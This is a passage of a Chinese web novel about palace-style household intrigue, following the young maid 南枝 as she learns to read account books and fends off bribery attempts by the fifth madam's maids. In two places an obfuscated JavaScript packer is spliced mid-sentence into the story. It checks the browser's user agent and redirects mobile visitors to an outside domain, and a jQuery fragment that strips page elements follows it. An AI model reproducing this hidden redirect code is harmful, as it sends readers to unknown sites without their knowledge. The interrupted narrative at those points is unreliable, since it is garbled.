到了正屋，见七姑娘备好物什，预备出门，南枝不由得问道：“姑娘，这是去哪儿？” “福寿堂的琉璃姐姐上午来说，老夫人教七姑娘去广佛寺烧香，去一去病气。”秋扇回了她的话，实际照她看，远不止是七姑娘出事那一遭让老夫人上了心，昨个才撵走三个丫鬟，有些风言风语说青竹轩不吉利，不然没得主子有事，下头奴仆又不安分。 七姑娘自然也能想到这一层，不过她不在意旁人如何说，因着她发觉，要想真的扭转她的名声，非一日之功。 何况，无论她有错没错，也总有人说她的不是。 “南枝，我带秋扇还有翠平出去，你与满月守着院里。”七姑娘吩咐，过后便领着人出去了。 “诶，姑娘只管放心。”南枝应了，余光看了看满月，本以为满月会露出不满的情绪，不成想她还是那副游离的状态。 “满月姐姐？”南枝轻声唤她，满月一下子惊醒，不自然地撩弄头发，“啊，我昨个没睡好，你刚才说什么？” “我说要不去茶水间，我泡壶茶水，咱们坐着吃糕点。”陈大娘子发了狠，糕点都做出了花，十来种，吃都吃不过来。 “我还有事儿，回房歇息，你要是有事拿不定，且去叫我。”满月说罢，匆匆走了。 青竹轩一时间安静下来，小丫鬟们见识了南枝的手段，也不敢轻易往她面前凑，她着实得了半天的清净。 这半日却也不能偷懒，不费精力地教导立夏与春杏，她们昨日开了眼，今天规规矩矩地跟着学，半分不敢敷衍。 “明个练习如何伺候姑娘，散了吧。” 待金乌西沉，南枝回房，才靠近，便听见满月与流云吵架。 “你休要再糊弄我！”才开门，满月便怒吼，随后越过南枝，往院门跑了出去。 “再管你，我就不叫流云！”屋内的流云眼中带泪，扑在床上啜泣。 南枝关上了门，也不出声，只摇头，往日看流云神气，与正院来往紧密，像极了只顾利益的人，不成想与满月闹掰也会伤心，可见心中依旧有情。 待她哭了一场，南枝洗了手帕给她，“擦擦吧，去外头教人看见，还以为在院子里受了甚委屈。” 流云接过手帕，一声不吭擦了脸，又重新上妆，之后收拾了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我到时候还买新鲜的果子，保管你喜欢。”憋了一会儿，陈小娘子才说这一句。 待她们姊妹二人走了，南枝关了门吃晚饭，又想着两个娘子。陈大娘子显然更擅长钻研，人也灵活，手上还有一门手艺，虽不至于一下子得到重用，但循序渐进，也有了一分“老人”的地位。 陈小娘子么，据说在小厨房呆了两三年，但不通厨艺，又坡脚，人也老实，不过力气却大，一个顶俩。用的位置对了，也有好处。 待夜了，流云托人带消息回来，明儿教南枝帮她值班，她要下午才回来。 可巧，满月也没回来。 府里下了锁，才见翠平先一步回来吩咐，“姑娘要沐浴更衣，热水可备好了？还有煮些精致好克化的吃食，待姑娘沐浴完能吃，过后再要一杯温热的山楂茶，免得姑娘晚了用饭胀气。” 南枝略微一思索，就回她，“热水已经叫小厨房烧了，两大桶的量，姐姐若是觉得不够，我再去叫她们。吃食也备妥当了，山楂茶我马上去泡。” 翠平点了点头，疲惫的神色里浮现出一抹满意，果真机灵。 因着太晚，南枝没有叫被罚提水的小丫头起来伺候，而是喊了粗使婆子并陈小娘子抬水，再就是小厨房的陈大娘子还有齐娘子，一得了文儿传的话，立马活动。 少了满月流云，南枝便顶上了，水里放提前搅碎的香胰子，待过会儿，便有细小的泡沫，清香味一下子散开。 不多时，她又递擦身的巾子，翠平与秋扇替七姑娘穿衣，因着今天太晚，七姑娘没有洗头，也就不需要丫鬟帮她擦干头发，省了一道功夫。 “启禀姑娘，两位厨娘做了山药菜叶粥，虾仁小馄饨，鸡丝细面，两道开胃的小菜，山楂茶泡上了，正温着，等姑娘用完膳，奴婢捧过来。”南枝一一汇报，陈大娘子与齐娘子正在珠玉帘子后面，若是七姑娘想见她们或是有赏赐，她们可露面。 “不错。”疲乏一天，吃到了爽口的吃食，七姑娘赞了一口，听见两道声音齐齐向她请安，想了想，她说，“各赏半吊钱。” “怎么不见流云还有满月？”用罢夜宵，喝着山楂茶，七姑娘才想起她们。 “回姑娘的话，她们两个今儿吵架了，都出了院子。”南枝可不会替她们遮掩，没得人家还不领情，反过来怪她多管闲事。 “什么事，连差事都不要了？”传膳是满月的活计，可今晚是南枝替她进出。七姑娘面上看不出甚么，声音里也有一丝轻慢，可正是如此，反而教人畏惧。 这话南枝没接，过了会，秋扇开口，“姑娘平日里心善，估计她们正念着这个，放纵了一些。” “哼。”七姑娘放下茶盏，没再追究这件事，“熄灯吧，明日还要去请安。” 重活一世，她本是睚眦必报的主儿，但可巧的是，前世也有这么一桩事，流云反倒救了满月一回，教满月不必入火坑。同为女子，她也不打算插手以免事情改变。 翌日，南枝从茶水间的小榻上醒来，喝了一碗浓浓的茶水后，略微收拾自个就陪着七姑娘去正院。 这还是她头一回跟着七姑娘来，公子姑娘认得，倒是那些姨娘，还有些脸生。 七姑娘坐在了右边的第一个位置，她看了一眼，姬妾基本齐了，唯有还小的的弟妹还没来。 半刻钟后，五夫人从里头出来，众人行礼，随后你一言我一语地聊起来。 “启禀夫人，赖姨娘到了。”有小丫头来报。 赖姨娘？这是哪个？南枝便跟着大家伙，一同往外看去，打眼一瞧，来人梳着飞天髻，发髻上胡乱插着几根簪子、珠钗、步摇，一身大红色的衣裳，看布料是清透的罗。腰间别着绿色的帕子，一双与衣服同色的绣花鞋也是夺目。 再看脸，涂脂抹粉，细看，还是个认识的人。 正是方妈妈的女儿生儿，从前拦过她的。 她怎么给五老爷作姨娘了？ 19. 学看账本子 “妾见过夫人，夫人安。”赖姨娘有些惊慌，也不为自个辩解，直接跪下说道：“妾今日起迟了，故而误了给夫人请安的时辰，还请夫人责罚。” 可她昨日才伺候了五老爷，今儿哪能就被罚呢？ 五夫人嘴角笑意不变，还教陈妈妈把她扶起来，“快给赖姨娘上茶，我知道你为什么迟了，侍奉老爷原该如此，我自然不会计较，坐下歇会，不必拘谨。” “是。”赖姨娘坐在了最末的位置，眼角余光还在乱瞄，很有几分没见过场面的惊慌感。 “夫人您瞧，赖姨娘为了给您请安，急得发髻都梳乱了，头饰只横七竖八往头上放，全然不顾体面。”一位正当妙龄的姨娘开口，她是芙姨娘，为五房生了一个儿子，故而有底气开这个口。 说这话时，她还嘲讽般瞥了赖姨娘一眼，年轻又当如何，不过是笨手笨脚的粗人一个，连打扮自己都做不好。 室内零散的笑声响起，教赖姨娘一张面皮红的像正烧着的炭火，她双手搅着那条绿色的帕子，坐立不安。 因着人多，五夫人挨个关心一番，便过去了半个时辰，“时候不早了，散了吧。” 其他人起身行礼，唯有七姑娘坐在椅子上不动，等一众人出了正院的门，她才说道：“我有一事要告知母亲，前儿我叫丫鬟算账，发觉我名下的铺子有一些账目对不上，还有几间铺子账簿不在手里，只能暂时搁着。我想着既然算了，便一起算，所以想教母亲把剩下的几个铺子的账簿也一并给我。” 五夫人挑眉，点了点头，“这不是甚么大事，等会儿我就教莲春给你送过去，只是你身边的丫鬟到底无甚经验，不若我派两个人过去，算起来也快。”她攥汗巾子的手紧了些许，感觉这个不受她待见的七姑娘变化太大，似乎正在脱离掌控。 “再说，你父亲念着你还小，便教我代为打理，你贸贸然查账，只怕会扰乱铺子的经营，若是因此亏损，反倒不妙。” 七姑娘借着喝茶的动作掩盖住扯起来的嘴角，又是这样的话术，先答应，彰显她的大度温和，然后再劝，说这不好那不妥，逼自己放弃，到最后，她名利双收。 “这正是我要说的第二件事，去给祖母请安时，祖母说我已经大了，也该学习管家，不如母亲就教我如何把这几个铺子理顺，往后我自己管，也就不用麻烦母亲了。”七姑娘言笑晏晏，脸上一派孺慕之情，倒很信任五夫人。 “南枝。”不待五夫人说话，七姑娘叫道，等南枝在五夫人跟前行礼之后，她继续说道：“这是进青竹轩不久的南枝，会跟着女儿一道学习看账，若她脑子机灵，能把其他管家的事儿学去，也是她自己的造化。” “奴婢定当尽心竭力，不叫夫人与姑娘担忧。”南枝也顺着杆子往上爬，来之前七姑娘没提过这回事，但她反应快，这种有利于自己的事，她自然不可能拒绝。 要是以后七姑娘出嫁，她说不定还能帮她管家，当个体面风光的管事。 五夫人脸上的笑容差点维持不住，她自己学也就罢了，怎么还拖带着丫鬟？ “你有这份心自然是好的，不过你大病初愈，未免劳动心神，不如晚上两三个月再学？”五夫人劝道，“要是你劳累过度，我这心天天疼着，夜不安枕。就是你祖母与父亲，也为你忧心。”既说不通，就直接用孝道来压制，原以为还要多费口舌，不曾想七姑娘直接就应了。 “母亲所虑，我懂。那我便先修养，教南枝跟着她们学，母亲觉得如何？” 五夫人倏的恍然，她怎么觉得这才是七姑娘真正的目的？只是为了南枝这个丫头能学习管家？ 她自己要学，反而成了探路的借口。 “这敢情好，莲春还有松露管着铺子，便教她们先教着南枝看账，这难的先学。” “奴婢谢夫人。”南枝朝五夫人福身，又向往前一步的莲春和松露微微弯腰，算是见礼了。 “既如此，我就不打扰母亲了。”七姑娘才不管五夫人情绪如何，她只要达成目的就可以了。 她早已想好，将来还是要进宫，走这一条熟悉的路不慌，若是不中选，婚姻捏在父母亲族手里，父亲不上心，五夫人不想她过得好，往后随便把她许人可怎么办？ 既然要进宫，那她学习管家的事便可以往后稍微延一延，把身边的人培养起来。这么想着，七姑娘就侧头看了眼虚扶着她走路的南枝，若她一直忠心，往后又能独当一面，带她进宫，倒也不失为好选择。 “姑娘，怎么了？”南枝疑惑地问道，“可是奴婢脸上有东西，教姑娘看笑话了？” “不是。南枝，你用心去学，往后也能帮着秋扇她们管院子，总归是错不了。” 南枝心里一喜，立马表态，“奴婢可不敢怠慢，便是不睡觉，都要把这些学会，有不会的，带着礼物去叨扰姐姐们，奴婢脸皮厚着呢。” 待回到了青竹轩，南枝便又去教导立夏与春杏，可今儿只有立夏在，她便问道：“春杏哪儿去了？” “她娘病了，喊她回去，她向翠平姐姐请了假的。”立夏安分地说道，她是吃不了苦头，再也不敢乱顶撞南枝，免得受更大的苦。 “那我单独教你。”南枝点头，待教了立夏一个时辰，她就颔首说道：“学的不错，有所成了。这般，你跟着我去见姑娘。” 她不日就要去正院学看账，教导礼仪这事便不方便做，况且她们二人学得七七八八，带立夏去见七姑娘，也是为了卸掉这份差事。 孰轻孰重，她自有选择。 “啊？好。”立夏正累着，汗珠子不断冒出来，跟着南枝去正屋的路上还挑时候擦汗。 “我倒是忘了这事。”七姑娘才想起来院里有两个人在学规矩，见立夏行礼倒茶都规规矩矩，便说，“不错，既已学成了，那就可以当差，南枝说你端正，虽迟过一回，也不打紧。你就领三等丫鬟的份例，去园子里头浇花，有什么不懂的，就问南枝。” 立夏不曾想还能立马当上三等的丫鬟，喜色一下子上脸，当即就跪下谢恩。她进院子不久，就见识了恁多斗争与手段，天可怜见的，心中那点子见不得人的心思就熄灭了，再不敢有二心。 故而她现在也是真心要伺候七姑娘的。 * 却说赵大娘家，正关闭了门窗，那赵大娘眉眼生的不错，可惜满脸算计，显得凶恶猥琐。 “娘，你没生病干嘛骗我。”春杏恨不得骂人，可她娘的巴掌不讲理，她也就低声说道：“我还要回去当差，这就走了。” “你可回来。”赵大娘一把子拉住春杏，手劲儿大得差点把春杏扯个踉跄，她不管那些个，只骂她，“你进青竹轩多久了？怎还没有分个几等出来？如今还只是学规矩，还是跟着南枝，这一朝进院子，你是谁也比不过。” “我也不说学学你姐姐提携家里，只说你争点气，进公子院里也不同。又或者跟人家生儿一样，作姨娘了。”想起这个，赵大娘心肝都在疼，那方妈妈从前在她面前伏低做小，就为了巴结她家春兰，可早起，那老娼妇便在她跟前炫耀，说她女儿给老爷当了姨娘，今后再生个一儿半女，她们家就发达了。 “什么姨娘？”春杏这些天都在谋划如何谋算立夏，又眼热南枝，心思只一门在她们身上，都不曾关心过外头的消息。 “你还不知？夫人心善，抬举了生儿伺候老爷，人家现在已经是赖姨娘了，指不定肚子里还揣上了种。”赵大娘说话不要脸面，这话都能在姐儿面前说。 可春杏完全不觉得臊，她娘她姐说的多了，她也不觉有甚，只喃喃自语道：“她竟然当姨娘了？不是选丫鬟没选上吗？” 听见这话，赵大娘冷哼，“人家是没选上，我先前还笑她要为家里当牛做马了，谁知人家有福气，有了出路，给我们当主子去了。” “你也是，你姐姐给了你首饰，你就不会戴？那天非要戴朵大红花，教七姑娘看见了，这下甚么都泡汤，你还能指望甚么？等着在青竹轩蹉跎几年，七姑娘来日嫁出去，也未必想的起你，往后你还能做什么？”越讲越气，赵大娘便拿手指戳春杏的头，红了一片，“偏你蠢，不如这样，你去与生儿拉关系，教她开口把你要了去，说不得你有机会见到老爷，你比她年轻，更有造化。” “我不要！”春杏挥开她的手，压抑的情绪爆发了，“我就是当姨娘，也不给老爷当。” 凭甚她姐春兰就能给三公子当姨娘，她只能配老爷？ “你偏心也不是这样偏的。”丢下一句话，春杏开门跑出去，正独自难过着，忽的就有两个眉飞色舞的丫鬟过来安慰。 “瞧瞧这花脸儿猫，你是哪家的丫鬟？” 春杏答了，其中一个丫鬟便道：“巧了不是，我们是正院的，夫人向来仁和，不若你跟了我们去房里，吃块点心上个妆，不然这花脸样给人看去，背后笑你呢。” 另外一个丫鬟变戏法似的掏出一个小镜子，教春杏一看，被自己的丑样子吓一跳，当即顾不得那么多，跟了去。 等她去洗脸，那俩丫鬟还窃窃私语。 “……还有南枝。” “陈妈妈说了，叫莲春姐姐与松露姐姐策她，等她明日来就成了。” * 因着明个儿要去正院学看账本子，南枝怕被蒙骗，故而请了翠平先教她看些简单的。 “账本子分四个账目，分别是旧管，新收，开除，实在。咱们先来看旧管，以这页为例子……”翠平拨弄着算盘珠子，条理清晰地教导，“你看，这个数额便是——” “一百三十一两。” 一百三十一两。南枝在心里很快的算出答案，与翠平说的分毫不差，接下来，她又跟着学了，上手极快，把翠平都惊到了，“流云先前还说你学点茶不算快，不成想你这天赋竟在算账上，看起来，你这回去学习，定大有收获。” 翠平欣慰地笑了笑，又提点几句，“到了正院，要是她们说错讲歪了，你不要与人辩驳，只会得罪人，于你自己无益，更于姑娘无益。你就回来问我，我给你解答。” 她觉着南枝有头脑，人又虚心好学，便存了一点点私心，想着与她有一份教导的情分。 “自然，也不是要你白白被她们溜了，要是她们过火，你就回来告诉姑娘，教姑娘替你做主。”她絮絮叨叨讲了一通，无外乎就是让南枝不要在外面惹祸，有事儿就跟七姑娘说。 话里话外离不开七姑娘，倒是让南枝想起，头一回见翠平，她态度不冷不热，直到她救了七姑娘，她态度就热络起来，看这样子，倒是全心全意为七姑娘着想。 “我晓得了。” * 起了个大早，南枝往正院走去。 松露已经在门口等着她了，还说，“天热，便亮得快，你晨起可有吃食入腹？” “吃过了，劳姐姐记挂。”南枝扬起笑脸，手上提着几盒点心，“我怕姐姐饿，给你们带了糕点，都是好克化的小点心，也不知姐姐们喜不喜欢。” “你带的，我们自然喜欢。”松露说着，把南枝带到了厢房，“你这些天就在这儿跟着我们看账本，有甚需要只管说。” 桌上摆了几本账簿，莲春解释道：“这是夫人代七姑娘打理的几间铺子，我们今日就教你看这个，你也好上手。” “诶。” 这几家店铺盈利都不是很高，最赚银钱的胭脂铺子每年也只有两百两进账，这倒是奇了怪了。 寻常人看不出甚么，可南枝虽然没有经验，但听得多，也明白胭脂铺很赚钱，尤其是赵家开的胭脂铺很有名气，带动的利益不知多少。 南枝越算越觉得不对，她不动声色地指着一个数额问道：“松露姐姐，这儿写着四月初三进账二十六两，可四月初一到初六不都是祭祀扫墓的时候么，应当闭店，怎么也有人买胭脂水粉？” 松露看了莲春一眼，旋即找到了理由，“你不懂，这店里有些老客，不必亲自去店里买，都是打发了奴仆去支一声，回头咱们店的小二就会跑腿送过去，故而也有进账，只是不多。” “原来是这样，我见识少，得亏问了姐姐们。”南枝垂眼，不再多问，只是遇见不妥的地方时暗自记下。 学了将近半个时辰，莲春看南枝喝水，趁机问她，“南枝，你在青竹轩可有甚喜事？其他人好相处么？” “进了去，还在学艺中呢，姐姐们端看就我一个人学看 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谈话与吃饭一样，都要慢，慢慢在脑子里想好再说，如此不会有错漏。故而南枝没有第一时间回话，而是温温吞吞地说道：“姐姐们所言有道理，是我自个不足，像我们院里几个大姐姐，会的可多了，我时常想，得了姑娘的好，有了今日，我就是拼了这命也要在姑娘身边长长久久地做下去。” 端的是难缠。 松露这回感受与莲春一样，这丫头看起来不大，怎么像小鬼，鬼精鬼精，又像泥鳅，滑不溜秋不沾手。 “害，说了这样多，你也饿了，这般，我去叫人送零嘴来，给你甜甜嘴。”莲春说罢，起身出去了。 不多时，又有小丫头来唤松露，“夫人教姐姐过去，有事吩咐。” “你先在这儿等着，我们去去就回。”松露交代，她也不怕南枝乱翻东西，谁会那么蠢，第一次进门就翻找亦或是偷盗？ 只剩下南枝一个人，刚才进门没细看，这会儿她打量了一下，这厢房也是四个人住，别说梳妆台上摆放的瓶瓶罐罐有多贵重，单说床帘子都是织锦，瞧着是水绵锦，虽然与蜀锦这些名贵料子无法比，但丫鬟拿来作帘子，可见奢华。 也从侧面反应五夫人手里银钱不少，连身边的丫鬟都能过得这般好。 “放这吧。”在听见声音时，南枝就转头端坐了，莲春进来，指使一个小丫鬟把两碟子果子放下，是西瓜与芒果。 “这是外家送来的，赵家惦记夫人，时常教奴仆送新鲜的瓜果来，我们这些丫头夫人也不曾忘了，瞧，这便是夫人赏的。” 若她没记错，青竹轩可没有日日有鲜瓜果，偶尔会有，这是赵家遗忘了七姑娘，还是正院扣下了？ 切好的西瓜整齐摆好，每一块上边都插着木签子，红彤彤的果肉上还飘着寒气，南枝捏起一块，问道：“从水井里捞的？” “可不是，最消暑解渴了，当差一天吃上这个，浑身舒坦，比吃绿豆汤还要爽快。”莲春也吃着，吃相优雅，一点汁水都没有漏。 她吃着，斜着眼看南枝，却发觉她捏签子、抬手、咬等等的举动都透着一股闲散悠然，仿佛在自个家。 “好吃吗？” 南枝回她，“甜津津又解渴，多谢姐姐。” “不用谢，你只要来就能吃上，多着呢。等会儿你回去，带两个回去，我记着你还有个姐姐是不是？教她也尝尝，这大热天的，一口爽快能让她当差舒畅许多。”莲春说，不等南枝开口便嗔道：“可不许拒绝，我都吩咐人装好了，等会儿让紫珠帮你提回去，不麻烦。” “那我下回来，给姐姐带些头花，是京城时兴的珠花，好看着呢。”送胭脂水粉不太好，要是她用了过敏反倒成仇人，还给了人家把柄。 “好。”莲春应道，同时心里在想松露怎的还没回来，她一个人唱白脸红脸可唱不下去。 想着松露的同时，又愁思自己，莲春苦恼起来，揪着帕子思量。 南枝看在眼里，心说莲春也有心事，只是不知是何事。 * “夫人，松露来了。” “如何？”圆桌上摆放着琳琅满目的金贵玩意，舶来品尤其多，甚么宝石、摆件、画，五夫人司空见惯，只懒懒地挑着，问了松露还不止，还与陈妈妈说着把这些送到哪里。 “回夫人的话，她不好糊弄，在青竹轩没有遭人欺负，又对金银不感兴趣，奴婢想着，唯有慢慢来。”松露说，按照惯行，一般先挑起她们内心的不满，不用花费分毫便能策反她们。 如果不行，便以利诱之，流水似的的首饰、衣裳摆出来，少有人不动心。不消多费功夫，都会答应。 再不行，谁还没个亲朋好友了？不过这招有效却也容易闹出大事，非必要时不能用。 五夫人也明白，兴致缺缺地提醒道：“她还不到九岁，怎么可能对金子银饰看都不看？头饰、耳饰，衣裳、布料，又或者田地，甚至是卖身契，总有一样她会有兴趣的。” 五房的丫鬟，卖身契都在她手里，哪怕是姑娘公子院里的丫鬟小厮，都一样。 松露心里一跳，卖身契？说实在话，她见识了恁多背主的丫鬟，都没有哪个能走到卖身契这一步。 至于需要用家人威逼的，那就更加没有。 “慢些教她，每一日换着法给她见识，先过个半个月瞧瞧。”五夫人说，松露应“是”，福身退下了。 边往外走边走神，松露想，若先前把那秋扇还有翠平也一并诱了，这会子就不用花心思在南枝身上。吴妈妈与茯苓倒了，没人能坏七姑娘，只一个流云，多少不够用。 “夫人，这个海船可真精致，您看看，通体宝石制成，放屋里定好看。前儿公子院里不是碎了瓶子么，正巧换上这个，他准高兴。”陈妈妈开口，哄的五夫人笑了。 “那便送去，还有这几样，一并给他。至于这些首饰，送去明月阁，这尊菩萨像，寻个上好的盒子装好，我等下亲自给老夫人送去。”提起儿女，五夫人眼里满是温柔细腻的光，“还有，每日瓜果不要漏了，福寿堂，大房，公子姑娘们院里也要，不拘是哪房的。七姑娘身子弱，不适宜吃凉，这果子便十天送一次就够了。” “是。”陈妈妈照办。 20. 计划 却说南枝一连去了三四日，已经大致掌握了情况，首先便是那账簿，定有弄虚作假，其次便是莲春与松露，得了五夫人授意，想教她换个主子。 这些她记在心里，也不曾兴冲冲就与七姑娘说，总得有实在的事儿，她才好领功。 七月初一这日，南枝与姐姐出门去逛庙会，门口瘸腿的周老爹不再嘴上打趣，而是正经了态度，问她们，“这是去哪？今儿人多，且小心着呐。” “欸，劳老爹提醒，回头我给你带果子。”王娘子笑着说，随后又提点南枝，“你瞧这些老爹婆子，虽领着算不得好的差事，可这正是小鬼，要是得罪了，背后使绊子也有一壶受的，平日里进出亦或是遇见了，给个笑脸，也碍不着甚么。” “我晓得。”南枝点头，她姐对着她就开始絮叨，她都习惯了。 “还有，昨儿晚上听你说的那些事，你有这份心眼子自然好，别事事都信他人，不然遭人算计了去，可怎么办？”这话都是肺腑之言，在福寿堂她也经历过不少，甚至差点被人挤掉了位子。 街道上人声鼎沸，王娘子紧紧拉着南枝的手，又护着她不被撞，一边还说，“争抢得最厉害的地儿，莫过于为了前程，斗个你死我活。”甭说小丫头为了提一等而下手，单说姑娘们为了未婚夫婿就能不顾姊妹之情。 “也罢，出来一趟，不讲这些了，咱们去那边，我给你买几匹布，再给你挑些珠花小插钗子，次一等的，你拿去送人拉交情，都很好。” “好。”南枝眼睛都看不过来，只觉得这家娘子自制的珠花精巧，那家婶子卖的馄饨香的掉舌头，一时间走不动道了。 待买齐了东西，两姊妹又去酒楼吃了一顿，家里只她们两个，在吃喝上，两人都是不拘银钱的主儿，也不计较酒楼贵不贵。 “姐姐，姐夫甚么时候能回来？”南枝问，姐姐与姐夫才成亲没多久，姐夫就外出当差去了，两人聚少离多。 “前儿他托人捎信回来，说预备办好差事，便向主子请了回来，还没影儿的事，说不准。等他回来，再谋个差事，且说吧。”王娘子正忧心这事，长久分别不行，但舍弃了那样一份差事，再回来，哪儿还有好的位置选？ 庙会热闹，南枝只跟着姐姐看了戏法以及放莲花灯，她姐怕有拐子，不许她再逛。 正欲回去，却忽然看见两个熟人，南枝停了脚步，看着满月进了一处脂粉铺子，随后扯住了流云的头发，顿时打起来。 期间还有两个男子一个娘子在拉扯，也不知是甚么事。 “那不是许娘子吗？”王娘子忽的说，“是那个满月的嫂子。” “可要去瞧瞧？” 南枝摇摇头，“若真有事，我去了能起甚作用？没得卷进去，里外不是人。况且，闹大了，院里总能听见。” 要是处理不好，两头得罪，以后指不定受气，她来青竹轩为了当差谋前程，不是来当老好人的。 王娘子满意，“你这么想就对了，她们真有需要，也必得备了礼上门求你，没得你巴巴主动替人做事，不要那么蠢。” 家来，先把物件分好，再趁着天气好把被褥拿出去晒，一番折腾下来，已然夜了。 南枝回了青竹轩，听翠平说才知道，今儿七姑娘去福寿堂，后面老夫人就许吩咐，教五夫人给七姑娘找几个师傅，教学文才艺，往后要好好培养。 “这不知多好，往后姑娘也有名声了。”翠平说。 南枝却忽的想到，七姑娘这般，五夫人会不会另出他法？ 正说着，院门口忽的吵闹起来，两人齐齐探头，正看见流云与满月带了人来，嘴里还喊着要见姑娘。 “住嘴！”翠平赶紧出去，训斥一番，“当这里是集市？扰着姑娘，有你们的苦。” 与早上看见时不同，这回两个姐儿都衣衫整洁，只是面上挂了彩，用帕子遮遮掩掩。 “翠平，我们要见姑娘，请姑娘做主。”满月哑着嗓子说。 “你们几个。”秋扇走出来，说道：“姑娘教你们进去。” 这样的热闹不多见，南枝为了看一眼，假模假样地端了茶水进正屋，七姑娘斜着看她，手指在空中指着她轻轻点了下，有股了然的意味。 可不是，一回两回送茶也就罢了，次数多了，七姑娘也察出味儿来了。 南枝状似不好意思地整理衣裙，给人一种“孩子气”的感觉，这便是她的第二个目的，适当的露出自己的缺点。 毕竟自己才八岁，样样出挑没有错误也就罢了，可性子再挑不出错儿，别人就该疑心她是不是妖怪化成的了。 再者，上位者也不会喜欢一个看不透的下属。 “姑娘，求姑娘做主。”满月磕着头，很快额头就青紫一片，吓人。 “这是怎么了？快扶起，给她搬个凳子，坐着慢慢说。”七姑娘柔声问。 满月一下子就哭了出来，心里委屈，又加之一天没有进过吃食，头晕脑胀，说不出话。 许娘子一瞧，恨她没出息，便上前一步，解释道：“回七姑娘的话，我是满月的嫂子，且代她说。家中父母不在，我与她哥哥就是长辈，见她大了，替她找人家。可巧有一行商，虽算不得大富大贵，但见了满月一回，心里属意，愿意替她赎身，娶她当正头夫人，这顶顶好的事儿，偏被流云这个小蹄子搅和了。” 她眼刀子往流云身上刺，眼里憎恨非常，“她与满月相识一场，见她有了一份好的姻缘，不满，便私底下接触那个行商，想着截胡。今儿还被我们抓到，流云正与他一同逛庙会，天可怜见的，要是我们没抓到，只怕这二人都在一张床上了——” “呸，你别污蔑我的名声。”流云忽的啐了她一口。 “多嘴。”秋扇打断她，“姑娘跟前，说这些不入耳的，嘴还想不想要了？再者，事情还没个定论，就说这些。” 许娘子脸色讪讪，自个打了嘴巴两下，“诶呦瞧我这张嘴，没个把门，七姑娘见谅。这事可能没有，但流云的的确确跟那个行商在一块，被我们撞破后，还跑了，现下找不见人，七姑娘您说说，是不是怪她。若没有她，我们家满月早自由了。” 她口口声声为了满月好，加上那副白嫩的面孔，倒真像个操心的嫂子。 “流云，你有话要说？”七姑娘看向流云，她已经知道前因后果，故而态度倒无甚不屑瞧不起之类的，她问，“我知你不是那样的人，有话直说就是。” “谢姑娘信任。”流云内心触动，从贴身的荷包里拿出一张纸，解释道：“请姑娘看，这是我教人打听到的，那行商名头作假，可见目的不纯。我为何知道？因着这人不过换个装扮，实际两年前，也骗过我家里人，后头识破，这才教他打走了。” 那纸上清清楚楚记录了这行商的动向，今儿装成李四找卖油茶的姐儿，后头又扮作张五去寻河边洗衣的寡妇。 “这是我找经纪探的，姑娘不信，只管去问，我不作假。”说着，流云还瞥了满月一下，“我为何见他，那是他又骗到我身上了，我为了蒙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15270907|166622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他，才与他说话。至于这纸，也是为了教你们信，我不撒谎。” “满月识字，你看看。”七姑娘说，她亲眼见着满月神色由难过变成震惊，再到庆幸。 “这样油嘴滑舌的人，家里指不定有多少人了，我与你好一场，是不想你入火坑。”她也不看满月，就顾自低头说。 “这人，我，你……”满月惊愣了许久，嘴巴张开合上，却说不出一句话。 “可是……”许娘子还不甘心，这行商骗了就骗了，好歹是出银子的，银子总不能骗人了吧？ 一涉及银钱，装鹌鹑的小厮也说道：“可他顶多是花心，论及家产以及对你的心意，都做不了假，那可是赎身去当夫人，你也不愿意？” “我呸。”啐了唾沫，满月恨声道：“你非得把我往火坑里推，怪不得整日在我耳边说他好话，又说要贤良大度，你们莫不是早就知道，他这人不可靠？就为了那点子银子，就不顾我的死活？甚么正头夫人，只怕一去，都没地方站。” 满月又哭了起来，爹娘去了以后，她跟着哥哥嫂子生活，原以为每月交了一部分月例，他们就不嫌弃她了，到头来，还是想谋算她！ “此事她既有证据，想必也不怕你去问去查，这行商闹得这样大，过后自有人报官收拾。满月，这事你们可就冤枉流云了。还打了她，怎么，日后再不见了不成？”七姑娘问，她清楚这事还没完，流云查到的，不过是骗子遮掩真实身份的手段罢了。 可她的确救了满月一回。 满月脾气火爆，不分青红皂白冤了流云，现下打量流云神色，抿着唇，说话扭扭捏捏，蚊子飞似的声音，“流云，我，对不住。你为何不早点跟我说。” “岂敢。”在翠平等人的掺扶下，流云站起身，“哥哥嫂子到底亲近，哪儿比得上我这种整日钻营的人，心眼子多，我在哄你哩。” 满月面色红了，这话是今日她骂的，再听一遍，只觉得浑身刺挠，不舒坦。 “我只告诉你们，她们在我身边伺候，有自个的想法，你们别以为有个身份就能委屈了她们，这话就撂这儿。”放了狠话，七姑娘警告般扫了没心肝的两人几眼。 事情一了，便散了。 * 翌日，又是南枝陪着七姑娘去请安，只是不巧，五夫人病了，又吩咐下来，这十天内，不再教后院请安。 南枝却照旧留下。 今日莲春与松露面带忧色，看账本之余还担忧五夫人，“夫人那样好的人，怎么就病了，上回夫人带咱们去寺庙里，那大师还说夫人是福寿安康的面相。” 南枝安慰了几句，左不过说些“一定会好”之类的话。紧接着，她们又来诱惑，南枝自然不肯，周旋着过了这么十几日，随后二人不再明里暗里劝她，态度也不冷不淡起来，不再姊妹称呼。 这天阴暗，莲春把厨房熬好的药倒进房里的矮松里，五夫人气色红润，还道：“过两日就叫她替我去上香，流云那都打点好了吧？” “是，夫人定能称心如意。” “只有她一直跌在泥地，我才如意。”五夫人眉眼浮现阴狠之色，原本打算把七姑娘身边的丫鬟都换成自己人，好掌控她。可计划赶不上变化，七姑娘又去求老夫人给她寻师傅。 